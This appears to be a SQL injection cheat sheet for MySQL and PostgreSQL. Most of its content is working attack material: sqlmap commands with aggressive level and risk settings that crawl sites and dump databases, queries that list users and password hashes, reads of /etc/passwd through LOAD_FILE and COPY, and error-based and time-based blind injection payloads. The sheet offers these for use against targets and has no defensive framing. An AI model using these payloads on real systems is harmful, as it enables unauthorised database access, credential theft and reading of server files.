

### Automated tools

SQLMAP	<code>sqlmap -u "url" --forms --batch --crawl=10 --level=5 --risk=3</code>
NMAP	<code>nmap -p80 --script=http-sql-injection --script-args=http-spider.maxpageocount=200 &lt;target&gt;</code>

### Mysql

Version	<code>SELECT @@version;</code>
Comments	<code>// ou #</code>
Current user	<code>SELECT user();    SELECT system_user()</code>
List users	<code>SELECT user FROM mysql.user;</code>
List password hashes	<code>SELECT host, user, password FROM mysql.user;</code>
Current database	<code>SELECT database()</code>
List databases	<code>SELECT schema_name FROM information_schema.schemata;    SELECT distinct(db) FROM mysql.db</code>
List tables	<code>SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'</code>
List columns	<code>SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'</code>
Find Tables From Column Name	<code>SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username';</code>
Time delay	<code>SELECT BENCHMARK(1000000,MD5('A')); SELECT SLEEP(5); # &gt;= 5.0.12</code>
Local File Access	<code>...' UNION ALL SELECT LOAD_FILE('/etc/passwd') —</code>
Hostname/IP Address	<code>SELECT @@hostname;</code>

### Mysql (cont)

Create user	<code>CREATE USER test1 IDENTIFIED BY 'pass1'; —</code>
Delete user	<code>DROP USER test1; —</code>
Location of the db file	<code>SELECT @@datadir;</code>

### SQLMAP

<code>sqlmap -u "url" -DBS</code>
<code>sqlmap -u "url" -table -D [database]</code>
<code>sqlmap -u "url" -columns -D [database] -T [table]</code>
<code>sqlmap -u "url" -dump -D [database] -T [table]</code>

### Manually Attack

Quick detect INTEGERS	<code>select 1 and row(1,1)&gt;(select count(),concat(CONCAT(@@VERSION),0x3a,floor(rand(2)))x from (select 1 union select 2)a group by x limit 1)</code>
Quick detect STRINGS	<code>'+(select 1 and row(1,1)&gt;(select count(),concat(CONCAT(@@VERSION),0x3a,floor(rand(2)))x from (select 1 union select 2)a group by x limit 1))+'</code>
Clear SQL Test	<code>product.php?id=4 product.php?id=5-1 product.php?id=4 OR 1=1 product.php?id=-1 OR 17-7=10</code>
Blind SQL Injection	<code>SLEEP(25)-- SELECT BENCHMARK(1000000,MD5('A'));</code>
Real world sample	<code>ProductID=1 OR SLEEP(25)=0 LIMIT 1-- ProductID=1) OR SLEEP(25)=0 LIMIT 1-- ProductID=1) OR SLEEP(25)=0 LIMIT 1-- ProductID=1) OR SLEEP(25)=0 LIMIT 1-- ProductID=SELECT SLEEP(25)--</code>



### PostgreSQL

Version	SELECT version()
Comments	-comment   / <i>comment</i> /
Current user	SELECT user; SELECT current_user; SELECT session_user; SELECT username FROM pg_user; SELECT getpgusername();
List users	SELECT username FROM pg_user
List DBA Accounts	SELECT username FROM pg_user WHERE usesuper IS TRUE
List password hashes	SELECT username, passwd FROM pg_shadow — priv
Current database	SELECT current_database()
List databases	SELECT datname FROM pg_database
List tables	SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)
List columns	SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')

### PostgreSQL (cont)

Find Tables	SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';
Time delay	SELECT pg_sleep(10);
Local File Access	CREATE TABLE mydata(t text); COPY mydata FROM '/etc/passwd';
Hostname/IP Address	SELECT inet_server_addr();
Port	SELECT inet_server_port();
Create user	CREATE USER test1 PASSWORD 'pass1' CREATEUSER
Delete user	DROP USER test1;
Location of the db file	SELECT current_setting('data_directory');

